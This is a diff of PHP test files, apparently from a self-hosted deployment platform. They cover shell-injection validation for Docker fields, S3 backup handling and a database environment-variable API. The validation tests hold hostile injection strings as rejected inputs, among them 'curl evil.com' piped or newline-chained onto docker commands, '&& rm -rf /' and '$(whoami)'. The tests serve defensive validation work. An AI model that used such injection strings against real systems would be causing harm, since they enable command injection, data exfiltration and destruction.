expect($validator->fails())->toBeTrue();
|
||||
});
|
||||
|
||||
test('rejects ampersand injection in dockerfile_target_build', function () {
|
||||
$rules = sharedDataApplications();
|
||||
|
||||
$validator = validator(
|
||||
['dockerfile_target_build' => 'stage && env'],
|
||||
['dockerfile_target_build' => $rules['dockerfile_target_build']]
|
||||
);
|
||||
|
||||
expect($validator->fails())->toBeTrue();
|
||||
});
|
||||
|
||||
test('allows valid target names', function ($target) {
|
||||
$rules = sharedDataApplications();
|
||||
|
||||
$validator = validator(
|
||||
['dockerfile_target_build' => $target],
|
||||
['dockerfile_target_build' => $rules['dockerfile_target_build']]
|
||||
);
|
||||
|
||||
expect($validator->fails())->toBeFalse();
|
||||
})->with(['production', 'build-stage', 'stage.final', 'my_target', 'v2']);
|
||||
|
||||
test('runtime validates dockerfile_target_build', function () {
|
||||
$job = new ReflectionClass(ApplicationDeploymentJob::class);
|
||||
|
||||
// Test that validateShellSafeCommand is also available as a pattern
|
||||
$pattern = \App\Support\ValidationPatterns::DOCKER_TARGET_PATTERN;
|
||||
expect(preg_match($pattern, 'production'))->toBe(1);
|
||||
expect(preg_match($pattern, 'build; env'))->toBe(0);
|
||||
expect(preg_match($pattern, 'target`whoami`'))->toBe(0);
|
||||
});
|
||||
});
|
||||
|
||||
describe('base_directory validation', function () {
|
||||
test('rejects shell metacharacters in base_directory', function () {
|
||||
$rules = sharedDataApplications();
|
||||
|
||||
$validator = validator(
|
||||
['base_directory' => '/src; echo pwned'],
|
||||
['base_directory' => $rules['base_directory']]
|
||||
);
|
||||
|
||||
expect($validator->fails())->toBeTrue();
|
||||
});
|
||||
|
||||
test('rejects command substitution in base_directory', function () {
|
||||
$rules = sharedDataApplications();
|
||||
|
||||
$validator = validator(
|
||||
['base_directory' => '/dir$(whoami)'],
|
||||
['base_directory' => $rules['base_directory']]
|
||||
);
|
||||
|
||||
expect($validator->fails())->toBeTrue();
|
||||
});
|
||||
|
||||
test('allows valid base directories', function ($dir) {
|
||||
$rules = sharedDataApplications();
|
||||
|
||||
$validator = validator(
|
||||
['base_directory' => $dir],
|
||||
['base_directory' => $rules['base_directory']]
|
||||
);
|
||||
|
||||
expect($validator->fails())->toBeFalse();
|
||||
})->with(['/', '/src', '/backend/app', '/packages/@scope/app']);
|
||||
|
||||
test('runtime validates base_directory via validatePathField', function () {
|
||||
$job = new ReflectionClass(ApplicationDeploymentJob::class);
|
||||
$method = $job->getMethod('validatePathField');
|
||||
$method->setAccessible(true);
|
||||
|
||||
$instance = $job->newInstanceWithoutConstructor();
|
||||
|
||||
expect(fn () => $method->invoke($instance, '/src; echo pwned', 'base_directory'))
|
||||
->toThrow(RuntimeException::class, 'contains forbidden characters');
|
||||
|
||||
expect($method->invoke($instance, '/src', 'base_directory'))
|
||||
->toBe('/src');
|
||||
});
|
||||
});
|
||||
|
||||
describe('docker_compose_custom_command validation', function () {
|
||||
test('rejects semicolon injection in docker_compose_custom_start_command', function () {
|
||||
$rules = sharedDataApplications();
|
||||
|
||||
$validator = validator(
|
||||
['docker_compose_custom_start_command' => 'docker compose up; echo pwned'],
|
||||
['docker_compose_custom_start_command' => $rules['docker_compose_custom_start_command']]
|
||||
);
|
||||
|
||||
expect($validator->fails())->toBeTrue();
|
||||
});
|
||||
|
||||
test('rejects pipe injection in docker_compose_custom_build_command', function () {
|
||||
$rules = sharedDataApplications();
|
||||
|
||||
$validator = validator(
|
||||
['docker_compose_custom_build_command' => 'docker compose build | curl evil.com'],
|
||||
['docker_compose_custom_build_command' => $rules['docker_compose_custom_build_command']]
|
||||
);
|
||||
|
||||
expect($validator->fails())->toBeTrue();
|
||||
});
|
||||
|
||||
test('rejects ampersand chaining in docker_compose_custom_start_command', function () {
|
||||
$rules = sharedDataApplications();
|
||||
|
||||
$validator = validator(
|
||||
['docker_compose_custom_start_command' => 'docker compose up && rm -rf /'],
|
||||
['docker_compose_custom_start_command' => $rules['docker_compose_custom_start_command']]
|
||||
);
|
||||
|
||||
expect($validator->fails())->toBeTrue();
|
||||
});
|
||||
|
||||
test('rejects command substitution in docker_compose_custom_build_command', function () {
|
||||
$rules = sharedDataApplications();
|
||||
|
||||
$validator = validator(
|
||||
['docker_compose_custom_build_command' => 'docker compose build $(whoami)'],
|
||||
['docker_compose_custom_build_command' => $rules['docker_compose_custom_build_command']]
|
||||
);
|
||||
|
||||
expect($validator->fails())->toBeTrue();
|
||||
});
|
||||
|
||||
test('allows valid docker compose commands', function ($cmd) {
|
||||
$rules = sharedDataApplications();
|
||||
|
||||
$validator = validator(
|
||||
['docker_compose_custom_start_command' => $cmd],
|
||||
['docker_compose_custom_start_command' => $rules['docker_compose_custom_start_command']]
|
||||
);
|
||||
|
||||
expect($validator->fails())->toBeFalse();
|
||||
})->with([
|
||||
'docker compose build',
|
||||
'docker compose up -d --build',
|
||||
'docker compose -f custom.yml build --no-cache',
|
||||
]);
|
||||
|
||||
test('rejects backslash in docker_compose_custom_start_command', function () {
|
||||
$rules = sharedDataApplications();
|
||||
|
||||
$validator = validator(
|
||||
['docker_compose_custom_start_command' => 'docker compose up \\n curl evil.com'],
|
||||
['docker_compose_custom_start_command' => $rules['docker_compose_custom_start_command']]
|
||||
);
|
||||
|
||||
expect($validator->fails())->toBeTrue();
|
||||
});
|
||||
|
||||
test('rejects single quotes in docker_compose_custom_start_command', function () {
|
||||
$rules = sharedDataApplications();
|
||||
|
||||
$validator = validator(
|
||||
['docker_compose_custom_start_command' => "docker compose up -d --build 'malicious'"],
|
||||
['docker_compose_custom_start_command' => $rules['docker_compose_custom_start_command']]
|
||||
);
|
||||
|
||||
expect($validator->fails())->toBeTrue();
|
||||
});
|
||||
|
||||
test('rejects double quotes in docker_compose_custom_start_command', function () {
|
||||
$rules = sharedDataApplications();
|
||||
|
||||
$validator = validator(
|
||||
['docker_compose_custom_start_command' => 'docker compose up -d --build "malicious"'],
|
||||
['docker_compose_custom_start_command' => $rules['docker_compose_custom_start_command']]
|
||||
);
|
||||
|
||||
expect($validator->fails())->toBeTrue();
|
||||
});
|
||||
|
||||
test('rejects newline injection in docker_compose_custom_start_command', function () {
|
||||
$rules = sharedDataApplications();
|
||||
|
||||
$validator = validator(
|
||||
['docker_compose_custom_start_command' => "docker compose up\ncurl evil.com"],
|
||||
['docker_compose_custom_start_command' => $rules['docker_compose_custom_start_command']]
|
||||
);
|
||||
|
||||
expect($validator->fails())->toBeTrue();
|
||||
});
|
||||
|
||||
test('rejects carriage return injection in docker_compose_custom_build_command', function () {
|
||||
$rules = sharedDataApplications();
|
||||
|
||||
$validator = validator(
|
||||
['docker_compose_custom_build_command' => "docker compose build\rcurl evil.com"],
|
||||
['docker_compose_custom_build_command' => $rules['docker_compose_custom_build_command']]
|
||||
);
|
||||
|
||||
expect($validator->fails())->toBeTrue();
|
||||
});
|
||||
|
||||
test('runtime validates docker compose commands', function () {
|
||||
$job = new ReflectionClass(ApplicationDeploymentJob::class);
|
||||
$method = $job->getMethod('validateShellSafeCommand');
|
||||
$method->setAccessible(true);
|
||||
|
||||
$instance = $job->newInstanceWithoutConstructor();
|
||||
|
||||
expect(fn () => $method->invoke($instance, 'docker compose up; echo pwned', 'docker_compose_custom_start_command'))
|
||||
->toThrow(RuntimeException::class, 'contains forbidden shell characters');
|
||||
|
||||
expect(fn () => $method->invoke($instance, "docker compose up\ncurl evil.com", 'docker_compose_custom_start_command'))
|
||||
->toThrow(RuntimeException::class, 'contains forbidden shell characters');
|
||||
|
||||
expect($method->invoke($instance, 'docker compose up -d --build', 'docker_compose_custom_start_command'))
|
||||
->toBe('docker compose up -d --build');
|
||||
});
|
||||
});
|
||||
|
||||
describe('custom_docker_run_options validation', function () {
|
||||
test('rejects semicolon injection in custom_docker_run_options', function () {
|
||||
$rules = sharedDataApplications();
|
||||
|
||||
$validator = validator(
|
||||
['custom_docker_run_options' => '--cap-add=NET_ADMIN; echo pwned'],
|
||||
['custom_docker_run_options' => $rules['custom_docker_run_options']]
|
||||
);
|
||||
|
||||
expect($validator->fails())->toBeTrue();
|
||||
});
|
||||
|
||||
test('rejects command substitution in custom_docker_run_options', function () {
|
||||
$rules = sharedDataApplications();
|
||||
|
||||
$validator = validator(
|
||||
['custom_docker_run_options' => '--hostname=$(whoami)'],
|
||||
['custom_docker_run_options' => $rules['custom_docker_run_options']]
|
||||
);
|
||||
|
||||
expect($validator->fails())->toBeTrue();
|
||||
});
|
||||
|
||||
test('allows valid docker run options', function ($opts) {
|
||||
$rules = sharedDataApplications();
|
||||
|
||||
$validator = validator(
|
||||
['custom_docker_run_options' => $opts],
|
||||
['custom_docker_run_options' => $rules['custom_docker_run_options']]
|
||||
);
|
||||
|
||||
expect($validator->fails())->toBeFalse();
|
||||
})->with([
|
||||
'--cap-add=NET_ADMIN --cap-add=NET_RAW',
|
||||
'--privileged --init',
|
||||
'--memory=512m --cpus=2',
|
||||
]);
|
||||
});
|
||||
|
||||
describe('container name validation', function () {
|
||||
test('rejects shell injection in container name', function () {
|
||||
$rules = sharedDataApplications();
|
||||
|
||||
$validator = validator(
|
||||
['post_deployment_command_container' => 'my-container; echo pwned'],
|
||||
['post_deployment_command_container' => $rules['post_deployment_command_container']]
|
||||
);
|
||||
|
||||
expect($validator->fails())->toBeTrue();
|
||||
});
|
||||
|
||||
test('allows valid container names', function ($name) {
|
||||
$rules = sharedDataApplications();
|
||||
|
||||
$validator = validator(
|
||||
['post_deployment_command_container' => $name],
|
||||
['post_deployment_command_container' => $rules['post_deployment_command_container']]
|
||||
);
|
||||
|
||||
expect($validator->fails())->toBeFalse();
|
||||
})->with(['my-app', 'nginx_proxy', 'web.server', 'app123']);
|
||||
|
||||
test('runtime validates container names', function () {
|
||||
$job = new ReflectionClass(ApplicationDeploymentJob::class);
|
||||
$method = $job->getMethod('validateContainerName');
|
||||
$method->setAccessible(true);
|
||||
|
||||
$instance = $job->newInstanceWithoutConstructor();
|
||||
|
||||
expect(fn () => $method->invoke($instance, 'container; echo pwned'))
|
||||
->toThrow(RuntimeException::class, 'contains forbidden characters');
|
||||
|
||||
expect($method->invoke($instance, 'my-app'))
|
||||
->toBe('my-app');
|
||||
});
|
||||
});
|
||||
|
||||
describe('dockerfile_target_build rules survive array_merge in controller', function () {
|
||||
test('dockerfile_target_build safe regex is not overridden by local rules', function () {
|
||||
$sharedRules = sharedDataApplications();
|
||||
|
||||
// Simulate what ApplicationsController does: array_merge(shared, local)
|
||||
$localRules = [
|
||||
'name' => 'string|max:255',
|
||||
'docker_compose_domains' => 'array|nullable',
|
||||
];
|
||||
$merged = array_merge($sharedRules, $localRules);
|
||||
|
||||
expect($merged)->toHaveKey('dockerfile_target_build');
|
||||
expect($merged['dockerfile_target_build'])->toBeArray();
|
||||
expect($merged['dockerfile_target_build'])->toContain('regex:'.\App\Support\ValidationPatterns::DOCKER_TARGET_PATTERN);
|
||||
});
|
||||
});
|
||||
|
||||
describe('docker_compose_custom_command rules survive array_merge in controller', function () {
|
||||
test('docker_compose_custom_start_command safe regex is not overridden by local rules', function () {
|
||||
$sharedRules = sharedDataApplications();
|
||||
|
||||
// Simulate what ApplicationsController does: array_merge(shared, local)
|
||||
// After our fix, local no longer contains docker_compose_custom_start_command,
|
||||
// so the shared regex rule must survive
|
||||
$localRules = [
|
||||
'name' => 'string|max:255',
|
||||
'docker_compose_domains' => 'array|nullable',
|
||||
];
|
||||
$merged = array_merge($sharedRules, $localRules);
|
||||
|
||||
expect($merged['docker_compose_custom_start_command'])->toBeArray();
|
||||
expect($merged['docker_compose_custom_start_command'])->toContain('regex:'.\App\Support\ValidationPatterns::SHELL_SAFE_COMMAND_PATTERN);
|
||||
});
|
||||
|
||||
test('docker_compose_custom_build_command safe regex is not overridden by local rules', function () {
|
||||
$sharedRules = sharedDataApplications();
|
||||
|
||||
$localRules = [
|
||||
'name' => 'string|max:255',
|
||||
'docker_compose_domains' => 'array|nullable',
|
||||
];
|
||||
$merged = array_merge($sharedRules, $localRules);
|
||||
|
||||
expect($merged['docker_compose_custom_build_command'])->toBeArray();
|
||||
expect($merged['docker_compose_custom_build_command'])->toContain('regex:'.\App\Support\ValidationPatterns::SHELL_SAFE_COMMAND_PATTERN);
|
||||
});
|
||||
});
|
||||
|
||||
describe('API route middleware for deploy actions', function () {
|
||||
test('application start route requires deploy ability', function () {
|
||||
$routes = app('router')->getRoutes();
|
||||
|
|
|
|||
|
|
@ -1,6 +1,10 @@
|
|||
<?php
|
||||
|
||||
use App\Jobs\DatabaseBackupJob;
|
||||
use App\Models\S3Storage;
|
||||
use App\Models\ScheduledDatabaseBackup;
|
||||
use App\Models\ScheduledDatabaseBackupExecution;
|
||||
use App\Models\Team;
|
||||
use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||
use Illuminate\Support\Facades\Schema;
|
||||
|
||||
|
|
@ -35,3 +39,108 @@
|
|||
expect($casts)->toHaveKey('s3_storage_deleted');
|
||||
expect($casts['s3_storage_deleted'])->toBe('boolean');
|
||||
});
|
||||
|
||||
test('upload_to_s3 throws exception and disables s3 when storage is null', function () {
|
||||
$backup = ScheduledDatabaseBackup::create([
|
||||
'frequency' => '0 0 * * *',
|
||||
'save_s3' => true,
|
||||
's3_storage_id' => 99999,
|
||||
'database_type' => 'App\Models\StandalonePostgresql',
|
||||
'database_id' => 1,
|
||||
'team_id' => Team::factory()->create()->id,
|
||||
]);
|
||||
|
||||
$job = new DatabaseBackupJob($backup);
|
||||
|
||||
$reflection = new ReflectionClass($job);
|
||||
$s3Property = $reflection->getProperty('s3');
|
||||
$s3Property->setValue($job, null);
|
||||
|
||||
$method = $reflection->getMethod('upload_to_s3');
|
||||
|
||||
expect(fn () => $method->invoke($job))
|
||||
->toThrow(Exception::class, 'S3 storage configuration is missing or has been deleted');
|
||||
|
||||
$backup->refresh();
|
||||
expect($backup->save_s3)->toBeFalsy();
|
||||
expect($backup->s3_storage_id)->toBeNull();
|
||||
});
|
||||
|
||||
test('deleting s3 storage disables s3 on linked backups', function () {
|
||||
$team = Team::factory()->create();
|
||||
|
||||
$s3 = S3Storage::create([
|
||||
'name' => 'Test S3',
|
||||
'region' => 'us-east-1',
|
||||
'key' => 'test-key',
|
||||
'secret' => 'test-secret',
|
||||
'bucket' => 'test-bucket',
|
||||
'endpoint' => 'https://s3.example.com',
|
||||
'team_id' => $team->id,
|
||||
]);
|
||||
|
||||
$backup1 = ScheduledDatabaseBackup::create([
|
||||
'frequency' => '0 0 * * *',
|
||||
'save_s3' => true,
|
||||
's3_storage_id' => $s3->id,
|
||||
'database_type' => 'App\Models\StandalonePostgresql',
|
||||
'database_id' => 1,
|
||||
'team_id' => $team->id,
|
||||
]);
|
||||
|
||||
$backup2 = ScheduledDatabaseBackup::create([
|
||||
'frequency' => '0 0 * * *',
|
||||
'save_s3' => true,
|
||||
's3_storage_id' => $s3->id,
|
||||
'database_type' => 'App\Models\StandaloneMysql',
|
||||
'database_id' => 2,
|
||||
'team_id' => $team->id,
|
||||
]);
|
||||
|
||||
// Unrelated backup should not be affected
|
||||
$unrelatedBackup = ScheduledDatabaseBackup::create([
|
||||
'frequency' => '0 0 * * *',
|
||||
'save_s3' => true,
|
||||
's3_storage_id' => null,
|
||||
'database_type' => 'App\Models\StandalonePostgresql',
|
||||
'database_id' => 3,
|
||||
'team_id' => $team->id,
|
||||
]);
|
||||
|
||||
$s3->delete();
|
||||
|
||||
$backup1->refresh();
|
||||
$backup2->refresh();
|
||||
$unrelatedBackup->refresh();
|
||||
|
||||
expect($backup1->save_s3)->toBeFalsy();
|
||||
expect($backup1->s3_storage_id)->toBeNull();
|
||||
expect($backup2->save_s3)->toBeFalsy();
|
||||
expect($backup2->s3_storage_id)->toBeNull();
|
||||
expect($unrelatedBackup->save_s3)->toBeTruthy();
|
||||
});
|
||||
|
||||
test('s3 storage has scheduled backups relationship', function () {
|
||||
$team = Team::factory()->create();
|
||||
|
||||
$s3 = S3Storage::create([
|
||||
'name' => 'Test S3',
|
||||
'region' => 'us-east-1',
|
||||
'key' => 'test-key',
|
||||
'secret' => 'test-secret',
|
||||
'bucket' => 'test-bucket',
|
||||
'endpoint' => 'https://s3.example.com',
|
||||
'team_id' => $team->id,
|
||||
]);
|
||||
|
||||
ScheduledDatabaseBackup::create([
|
||||
'frequency' => '0 0 * * *',
|
||||
'save_s3' => true,
|
||||
's3_storage_id' => $s3->id,
|
||||
'database_type' => 'App\Models\StandalonePostgresql',
|
||||
'database_id' => 1,
|
||||
'team_id' => $team->id,
|
||||
]);
|
||||
|
||||
expect($s3->scheduledBackups()->count())->toBe(1);
|
||||
});
|
||||
|
|
|
|||
346
tests/Feature/DatabaseEnvironmentVariableApiTest.php
Normal file
346
tests/Feature/DatabaseEnvironmentVariableApiTest.php
Normal file
|
|
@ -0,0 +1,346 @@
|
|||
<?php
|
||||
|
||||
use App\Models\Environment;
|
||||
use App\Models\EnvironmentVariable;
|
||||
use App\Models\InstanceSettings;
|
||||
use App\Models\Project;
|
||||
use App\Models\Server;
|
||||
use App\Models\StandaloneDocker;
|
||||
use App\Models\StandalonePostgresql;
|
||||
use App\Models\Team;
|
||||
use App\Models\User;
|
||||
use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||
|
||||
uses(RefreshDatabase::class);
|
||||
|
||||
beforeEach(function () {
|
||||
InstanceSettings::updateOrCreate(['id' => 0]);
|
||||
|
||||
$this->team = Team::factory()->create();
|
||||
$this->user = User::factory()->create();
|
||||
$this->team->members()->attach($this->user->id, ['role' => 'owner']);
|
||||
|
||||
session(['currentTeam' => $this->team]);
|
||||
|
||||
$this->token = $this->user->createToken('test-token', ['*']);
|
||||
$this->bearerToken = $this->token->plainTextToken;
|
||||
|
||||
$this->server = Server::factory()->create(['team_id' => $this->team->id]);
|
||||
$this->destination = StandaloneDocker::where('server_id', $this->server->id)->first();
|
||||
$this->project = Project::factory()->create(['team_id' => $this->team->id]);
|
||||
$this->environment = Environment::factory()->create(['project_id' => $this->project->id]);
|
||||
});
|
||||
|
||||
function createDatabase($context): StandalonePostgresql
|
||||
{
|
||||
return StandalonePostgresql::create([
|
||||
'name' => 'test-postgres',
|
||||
'image' => 'postgres:15-alpine',
|
||||
'postgres_user' => 'postgres',
|
||||
'postgres_password' => 'password',
|
||||
'postgres_db' => 'postgres',
|
||||
'environment_id' => $context->environment->id,
|
||||
'destination_id' => $context->destination->id,
|
||||
'destination_type' => $context->destination->getMorphClass(),
|
||||
]);
|
||||
}
|
||||
|
||||
describe('GET /api/v1/databases/{uuid}/envs', function () {
|
||||
test('lists environment variables for a database', function () {
|
||||
$database = createDatabase($this);
|
||||
|
||||
EnvironmentVariable::create([
|
||||
'key' => 'CUSTOM_VAR',
|
||||
'value' => 'custom_value',
|
||||
'resourceable_type' => StandalonePostgresql::class,
|
||||
'resourceable_id' => $database->id,
|
||||
]);
|
||||
|
||||
$response = $this->withHeaders([
|
||||
'Authorization' => 'Bearer '.$this->bearerToken,
|
||||
'Content-Type' => 'application/json',
|
||||
])->getJson("/api/v1/databases/{$database->uuid}/envs");
|
||||
|
||||
$response->assertStatus(200);
|
||||
$response->assertJsonFragment(['key' => 'CUSTOM_VAR']);
|
||||
});
|
||||
|
||||
test('returns empty array when no environment variables exist', function () {
|
||||
$database = createDatabase($this);
|
||||
|
||||
$response = $this->withHeaders([
|
||||
'Authorization' => 'Bearer '.$this->bearerToken,
|
||||
'Content-Type' => 'application/json',
|
||||
])->getJson("/api/v1/databases/{$database->uuid}/envs");
|
||||
|
||||
$response->assertStatus(200);
|
||||
$response->assertJson([]);
|
||||
});
|
||||
|
||||
test('returns 404 for non-existent database', function () {
|
||||
$response = $this->withHeaders([
|
||||
'Authorization' => 'Bearer '.$this->bearerToken,
|
||||
'Content-Type' => 'application/json',
|
||||
])->getJson('/api/v1/databases/non-existent-uuid/envs');
|
||||
|
||||
$response->assertStatus(404);
|
||||
});
|
||||
});
|
||||
|
||||
describe('POST /api/v1/databases/{uuid}/envs', function () {
|
||||
test('creates an environment variable', function () {
|
||||
$database = createDatabase($this);
|
||||
|
||||
$response = $this->withHeaders([
|
||||
'Authorization' => 'Bearer '.$this->bearerToken,
|
||||
'Content-Type' => 'application/json',
|
||||
])->postJson("/api/v1/databases/{$database->uuid}/envs", [
|
||||
'key' => 'NEW_VAR',
|
||||
'value' => 'new_value',
|
||||
]);
|
||||
|
||||
$response->assertStatus(201);
|
||||
|
||||
$env = EnvironmentVariable::where('key', 'NEW_VAR')
|
||||
->where('resourceable_id', $database->id)
|
||||
->where('resourceable_type', StandalonePostgresql::class)
|
||||
->first();
|
||||
|
||||
expect($env)->not->toBeNull();
|
||||
expect($env->value)->toBe('new_value');
|
||||
});
|
||||
|
||||
test('creates an environment variable with comment', function () {
|
||||
$database = createDatabase($this);
|
||||
|
||||
$response = $this->withHeaders([
|
||||
'Authorization' => 'Bearer '.$this->bearerToken,
|
||||
'Content-Type' => 'application/json',
|
||||
])->postJson("/api/v1/databases/{$database->uuid}/envs", [
|
||||
'key' => 'COMMENTED_VAR',
|
||||
'value' => 'some_value',
|
||||
'comment' => 'This is a test comment',
|
||||
]);
|
||||
|
||||
$response->assertStatus(201);
|
||||
|
||||
$env = EnvironmentVariable::where('key', 'COMMENTED_VAR')
|
||||
->where('resourceable_id', $database->id)
|
||||
->first();
|
||||
|
||||
expect($env->comment)->toBe('This is a test comment');
|
||||
});
|
||||
|
||||
test('returns 409 when environment variable already exists', function () {
|
||||
$database = createDatabase($this);
|
||||
|
||||
EnvironmentVariable::create([
|
||||
'key' => 'EXISTING_VAR',
|
||||
'value' => 'existing_value',
|
||||
'resourceable_type' => StandalonePostgresql::class,
|
||||
'resourceable_id' => $database->id,
|
||||
]);
|
||||
|
||||
$response = $this->withHeaders([
|
||||
'Authorization' => 'Bearer '.$this->bearerToken,
|
||||
'Content-Type' => 'application/json',
|
||||
])->postJson("/api/v1/databases/{$database->uuid}/envs", [
|
||||
'key' => 'EXISTING_VAR',
|
||||
'value' => 'new_value',
|
||||
]);
|
||||
|
||||
$response->assertStatus(409);
|
||||
});
|
||||
|
||||
test('returns 422 when key is missing', function () {
|
||||
$database = createDatabase($this);
|
||||
|
||||
$response = $this->withHeaders([
|
||||
'Authorization' => 'Bearer '.$this->bearerToken,
|
||||
'Content-Type' => 'application/json',
|
||||
])->postJson("/api/v1/databases/{$database->uuid}/envs", [
|
||||
'value' => 'some_value',
|
||||
]);
|
||||
|
||||
$response->assertStatus(422);
|
||||
});
|
||||
});
|
||||
|
||||
describe('PATCH /api/v1/databases/{uuid}/envs', function () {
|
||||
test('updates an environment variable', function () {
|
||||
$database = createDatabase($this);
|
||||
|
||||
EnvironmentVariable::create([
|
||||
'key' => 'UPDATE_ME',
|
||||
'value' => 'old_value',
|
||||
'resourceable_type' => StandalonePostgresql::class,
|
||||
'resourceable_id' => $database->id,
|
||||
]);
|
||||
|
||||
$response = $this->withHeaders([
|
||||
'Authorization' => 'Bearer '.$this->bearerToken,
|
||||
'Content-Type' => 'application/json',
|
||||
])->patchJson("/api/v1/databases/{$database->uuid}/envs", [
|
||||
'key' => 'UPDATE_ME',
|
||||
'value' => 'new_value',
|
||||
]);
|
||||
|
||||
$response->assertStatus(201);
|
||||
|
||||
$env = EnvironmentVariable::where('key', 'UPDATE_ME')
|
||||
->where('resourceable_id', $database->id)
|
||||
->first();
|
||||
|
||||
expect($env->value)->toBe('new_value');
|
||||
});
|
||||
|
||||
test('returns 404 when environment variable does not exist', function () {
|
||||
$database = createDatabase($this);
|
||||
|
||||
$response = $this->withHeaders([
|
||||
'Authorization' => 'Bearer '.$this->bearerToken,
|
||||
'Content-Type' => 'application/json',
|
||||
])->patchJson("/api/v1/databases/{$database->uuid}/envs", [
|
||||
'key' => 'NONEXISTENT',
|
||||
'value' => 'value',
|
||||
]);
|
||||
|
||||
$response->assertStatus(404);
|
||||
});
|
||||
});
|
||||
|
||||
describe('PATCH /api/v1/databases/{uuid}/envs/bulk', function () {
|
||||
test('creates environment variables with comments', function () {
|
||||
$database = createDatabase($this);
|
||||
|
||||
$response = $this->withHeaders([
|
||||
'Authorization' => 'Bearer '.$this->bearerToken,
|
||||
'Content-Type' => 'application/json',
|
||||
])->patchJson("/api/v1/databases/{$database->uuid}/envs/bulk", [
|
||||
'data' => [
|
||||
[
|
||||
'key' => 'DB_HOST',
|
||||
'value' => 'localhost',
|
||||
'comment' => 'Database host',
|
||||
],
|
||||
[
|
||||
'key' => 'DB_PORT',
|
||||
'value' => '5432',
|
||||
],
|
||||
],
|
||||
]);
|
||||
|
||||
$response->assertStatus(201);
|
||||
|
||||
$envWithComment = EnvironmentVariable::where('key', 'DB_HOST')
|
||||
->where('resourceable_id', $database->id)
|
||||
->where('resourceable_type', StandalonePostgresql::class)
|
||||
->first();
|
||||
|
||||
$envWithoutComment = EnvironmentVariable::where('key', 'DB_PORT')
|
||||
->where('resourceable_id', $database->id)
|
||||
->where('resourceable_type', StandalonePostgresql::class)
|
||||
->first();
|
||||
|
||||
expect($envWithComment->comment)->toBe('Database host');
|
||||
expect($envWithoutComment->comment)->toBeNull();
|
||||
});
|
||||
|
||||
test('updates existing environment variables via bulk', function () {
|
||||
$database = createDatabase($this);
|
||||
|
||||
EnvironmentVariable::create([
|
||||
'key' => 'BULK_VAR',
|
||||
'value' => 'old_value',
|
||||
'comment' => 'Old comment',
|
||||
'resourceable_type' => StandalonePostgresql::class,
|
||||
'resourceable_id' => $database->id,
|
||||
]);
|
||||
|
||||
$response = $this->withHeaders([
|
||||
'Authorization' => 'Bearer '.$this->bearerToken,
|
||||
'Content-Type' => 'application/json',
|
||||
])->patchJson("/api/v1/databases/{$database->uuid}/envs/bulk", [
|
||||
'data' => [
|
||||
[
|
||||
'key' => 'BULK_VAR',
|
||||
'value' => 'new_value',
|
||||
'comment' => 'Updated comment',
|
||||
],
|
||||
],
|
||||
]);
|
||||
|
||||
$response->assertStatus(201);
|
||||
|
||||
$env = EnvironmentVariable::where('key', 'BULK_VAR')
|
||||
->where('resourceable_id', $database->id)
|
||||
->first();
|
||||
|
||||
expect($env->value)->toBe('new_value');
|
||||
expect($env->comment)->toBe('Updated comment');
|
||||
});
|
||||
|
||||
test('rejects comment exceeding 256 characters', function () {
|
||||
$database = createDatabase($this);
|
||||
|
||||
$response = $this->withHeaders([
|
||||
'Authorization' => 'Bearer '.$this->bearerToken,
|
||||
'Content-Type' => 'application/json',
|
||||
])->patchJson("/api/v1/databases/{$database->uuid}/envs/bulk", [
|
||||
'data' => [
|
||||
[
|
||||
'key' => 'TEST_VAR',
|
||||
'value' => 'value',
|
||||
'comment' => str_repeat('a', 257),
|
||||
],
|
||||
],
|
||||
]);
|
||||
|
||||
$response->assertStatus(422);
|
||||
});
|
||||
|
||||
test('returns 400 when data is missing', function () {
|
||||
$database = createDatabase($this);
|
||||
|
||||
$response = $this->withHeaders([
|
||||
'Authorization' => 'Bearer '.$this->bearerToken,
|
||||
'Content-Type' => 'application/json',
|
||||
])->patchJson("/api/v1/databases/{$database->uuid}/envs/bulk", []);
|
||||
|
||||
$response->assertStatus(400);
|
||||
});
|
||||
});
|
||||
|
||||
describe('DELETE /api/v1/databases/{uuid}/envs/{env_uuid}', function () {
|
||||
test('deletes an environment variable', function () {
|
||||
$database = createDatabase($this);
|
||||
|
||||
$env = EnvironmentVariable::create([
|
||||
'key' => 'DELETE_ME',
|
||||
'value' => 'to_delete',
|
||||
'resourceable_type' => StandalonePostgresql::class,
|
||||
'resourceable_id' => $database->id,
|
||||
]);
|
||||
|
||||
$response = $this->withHeaders([
|
||||
'Authorization' => 'Bearer '.$this->bearerToken,
|
||||
'Content-Type' => 'application/json',
|
||||
])->deleteJson("/api/v1/databases/{$database->uuid}/envs/{$env->uuid}");
|
||||
|
||||
$response->assertStatus(200);
|
||||
$response->assertJson(['message' => 'Environment variable deleted.']);
|
||||
|
||||
expect(EnvironmentVariable::where('uuid', $env->uuid)->first())->toBeNull();
|
||||
});
|
||||
|
||||
test('returns 404 for non-existent environment variable', function () {
|
||||
$database = createDatabase($this);
|
||||
|
||||
$response = $this->withHeaders([
|
||||
'Authorization' => 'Bearer '.$this->bearerToken,
|
||||
'Content-Type' => 'application/json',
|
||||
])->deleteJson("/api/v1/databases/{$database->uuid}/envs/non-existent-uuid");
|
||||
|
||||
$response->assertStatus(404);
|
||||
});
|
||||
});
|
||||
50
tests/Feature/DockerCleanupJobTest.php
Normal file
50
tests/Feature/DockerCleanupJobTest.php
Normal file
|
|
@ -0,0 +1,50 @@
|
|||
<?php
|
||||
|
||||
use App\Jobs\DockerCleanupJob;
|
||||
use App\Models\DockerCleanupExecution;
|
||||
use App\Models\Server;
|
||||
use App\Models\User;
|
||||
use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||
|
||||
uses(RefreshDatabase::class);
|
||||
|
||||
it('creates a failed execution record when server is not functional', function () {
|
||||
$user = User::factory()->create();
|
||||
$team = $user->teams()->first();
|
||||
$server = Server::factory()->create(['team_id' => $team->id]);
|
||||
|
||||
// Make server not functional by setting is_reachable to false
|
||||
$server->settings->update(['is_reachable' => false]);
|
||||
|
||||
$job = new DockerCleanupJob($server);
|
||||
$job->handle();
|
||||
|
||||
$execution = DockerCleanupExecution::where('server_id', $server->id)->first();
|
||||
|
||||
expect($execution)->not->toBeNull()
|
||||
->and($execution->status)->toBe('failed')
|
||||
->and($execution->message)->toContain('not functional')
|
||||
->and($execution->finished_at)->not->toBeNull();
|
||||
});
|
||||
|
||||
it('creates a failed execution record when server is force disabled', function () {
|
||||
$user = User::factory()->create();
|
||||
$team = $user->teams()->first();
|
||||
$server = Server::factory()->create(['team_id' => $team->id]);
|
||||
|
||||
// Make server not functional by force disabling
|
||||
$server->settings->update([
|
||||
'is_reachable' => true,
|
